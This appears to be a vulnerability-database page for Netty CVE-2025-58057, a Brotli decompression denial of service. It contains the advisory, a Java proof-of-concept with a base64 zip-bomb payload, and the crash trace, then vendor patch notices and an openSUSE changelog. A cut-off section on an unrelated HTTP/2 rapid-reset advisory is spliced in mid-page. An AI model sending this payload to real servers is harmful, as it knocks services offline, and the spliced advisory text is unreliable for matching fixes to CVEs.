CVE-2025-58057

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
	at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
	at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
	at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
	at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
	at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
	at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
	at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
	at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
	at…

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-codec 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2025-58057, CVE-2026-42583, and CVE-2026-59901.

CVE-2025-58057: Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack

CVE-2026-42583: Netty: Lz4FrameDecoder resource exhaustion

CVE-2026-59901: Netty Bzip2Decoder: Infinite Loop in RLE State Machine Leads to Event-Loop Thread Hang

This patched artifact is a drop-in replacement for io.netty:netty-codec 4.1.100.Final from Maven Central.

Root has patched CVE-2025-58057 in the io.netty:netty-codec package for Root:Maven. Multiple fixed versions available.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.

TuxCare rebuilt 43 io.netty packages to address 12 CVEs. Fixed in 4.1.63.Final-tuxcare.2.

TuxCare rebuilt 4 io.netty packages to address 5 CVEs. Fixed in 4.1.112.Final-tuxcare.1.

TuxCare rebuilt 40 io.netty packages to address 16 CVEs. Fixed in 4.1.52.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 12 CVEs. Fixed in 4.1.93.Final-tuxcare.1.

TuxCare rebuilt io.netty:netty-codec to address 1 CVE. Fixed in 4.1.82.Final-tuxcare.2.

TuxCare rebuilt io.netty:netty-codec to address 1 CVE. Fixed in 4.1.60.Final-tuxcare.2.

TuxCare rebuilt 3 io.netty packages to address 3 CVEs. Fixed in 4.1.115.Final-tuxcare.6.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

TuxCare rebuilt 12 io.netty packages to address 28 CVEs. Fixed in 4.1.79.Final-tuxcare.2.

TuxCare rebuilt io.netty:netty to address 4 CVEs. Fixed in 3.7.0.Final-tuxcare.1.

TuxCare rebuilt 3 io.netty packages to address 3 CVEs. Fixed in 4.1.87.Final-tuxcare.2.

TuxCare rebuilt 14 io.netty packages to address 26 CVEs. Fixed in 4.1.118.Final-tuxcare.1.

TuxCare rebuilt io.netty:netty to address 4 CVEs. Fixed in 3.5.13.Final-tuxcare.1.

TuxCare rebuilt io.netty:netty to address 2 CVEs. Fixed in 3.10.6.Final-tuxcare.3.

TuxCare rebuilt io.netty:netty to address 4 CVEs. Fixed in 3.6.2.Final-tuxcare.1.

TuxCare rebuilt 2 io.netty packages to address 2 CVEs. Fixed in 4.1.53.Final-tuxcare.2.

TuxCare rebuilt 8 io.netty packages to address 12 CVEs. Fixed in 4.1.101.Final-tuxcare.2.

TuxCare rebuilt 5 io.netty packages to address 6 CVEs. Fixed in 4.1.72.Final-tuxcare.2.

TuxCare rebuilt 3 io.netty packages to address 4 CVEs. Fixed in 4.1.96.Final-tuxcare.2.

TuxCare rebuilt 4 io.netty packages to address 8 CVEs. Fixed in 4.1.68.Final-tuxcare.2.

TuxCare rebuilt 6 io.netty packages to address 10 CVEs. Fixed in 4.1.100.Final-tuxcare.2.

TuxCare rebuilt 6 io.netty packages to address 7 CVEs. Fixed in 4.1.99.Final-tuxcare.3.

TuxCare rebuilt 8 io.netty packages to address 10 CVEs. Fixed in 4.1.74.Final-tuxcare.2.

These are all security issues fixed in the netty-4.1.126-1.1 package on the GA media of openSUSE Tumbleweed.

This update for netty, netty-tcnative fixes the following issues:

Upgrade to upstream version 4.1.126.

Security issues fixed:

• CVE-2025-58057: decompression codecs allocating a large number of buffers after processing specially crafted input can cause a denial of service (bsc#1249134).
• CVE-2025-58056: incorrect parsing of chunk extensions can lead to request smuggling (bsc#1249116).
• CVE-2025-55163: 'MadeYouReset' denial of serivce attack in the HTTP/2 protocol (bsc#1247991).

Other issues fixed:

• Fixes from version 4.1.126

  • Fix IllegalReferenceCountException on invalid upgrade response.
  • Drop unknown frame on missing stream.
  • Don't try to handle incomplete upgrade request.
  • Update to netty-tcnative 2.0.73Final.

• Fixes from version 4.1.124

  • Fix NPE and AssertionErrors when many tasks are scheduled and cancelled.
  • HTTP2: Http2ConnectionHandler should always use Http2ConnectionEncoder.
  • Epoll: Correctly handle UDP packets with source port of 0.
  • Fix netty-common OSGi Import-Package header.
  • MqttConnectPayload.toString() includes password.

• Fixes from version 4.1.123

  • Fix chunk reuse bug in adaptive allocator.
  • More accurate adaptive memory usage accounting.
  • Introduce size-classes for the adaptive allocator.
  • Reduce magazine proliferation eagerness.
  • Fix concurrent ByteBuffer access issue in AdaptiveByteBuf.getBytes.
  • Fix possible buffer corruption caused by incorrect setCharSequence(...) implementation.
  • AdaptiveByteBuf: Fix AdaptiveByteBuf.maxFastWritableBytes() to take writerIndex() into account.
  • Optimize capacity bumping for adaptive ByteBufs.
  • AbstractDnsRecord: equals() and hashCode() to ignore name field's case.
  • Backport Unsafe guards.
  • Guard recomputed offset access with hasUnsafe.
  • HTTP2: Always produce a RST frame on stream exception.
  • Correct what artifacts included in netty-bom.

• Fixes from version 4.1.122

  • DirContextUtils.addNameServer(...) should just catch Exception internally.
  • Make public API specify explicit maxAllocation to prevent OOM.
  • Fix concurrent ByteBuf write access bug in adaptive allocator.
  • Fix transport-native-kqueue Bundle-SymbolicNames.
  • Fix resolver-dns-native-macos Bundle-SymbolicNames.
  • Always correctly calculate the memory address of the ByteBuf even if sun.misc.Unsafe is not usable.
  • Upgrade lz4 dependencies as the old version did not correctly handle ByteBuffer that have an arrayOffset > 0.
  • Optimize ByteBuf.setCharSequence for adaptive allocator.
  • Kqueue: Fix registration failure when fd is reused.
  • Make JdkZlibEncoder accept Deflater.DEFAULT_COMPRESSION as level.
  • Ensure OpenSsl.availableJavaCipherSuites does not contain null values.
  • Always prefer direct buffers for pooled allocators if not explicit disabled.
  • Update to netty-tcnative 2.0.72.Final.
  • Re-enable sun.misc.Unsafe by default on Java 24+.
  • Kqueue: Delay removal from registration map to fix noisy warnings.

• Fixes from version 4.1.121

  • Epoll.isAvailable() returns false on Ubuntu 20.04/22.04 arch amd64.
  • Fix transport-native-epoll Bundle-SymbolicNames.

• Fixes from version 4.1.120

  • Fix flawed termination condition check in HttpPostRequestEncoder#encodeNextChunkUrlEncoded(int) for current InterfaceHttpData.
  • Exposed decoderEnforceMaxConsecutiveEmptyDataFrames and decoderEnforceMaxRstFramesPerWindow.
  • ThreadExecutorMap must restore old EventExecutor.
  • Make Recycler virtual thread friendly.
  • Disable sun.misc.Unsafe by default on Java 24+.
  • Adaptive: Correctly enforce leak detection when using AdaptiveByteBufAllocator.
  • Add suppressed exception to original cause when calling Future.sync*.
  • Add SETTINGS_ENABLE_CONNECT_PROTOCOL to the default HTTP/2 settings.
  • Correct computation for suboptimal chunk retirement probability.
  • Fix bug in method AdaptivePoolingAllocator.allocateWithoutLock(...).
  • Fix a Bytebuf leak in TcpDnsQueryDecoder.
  • SSL:…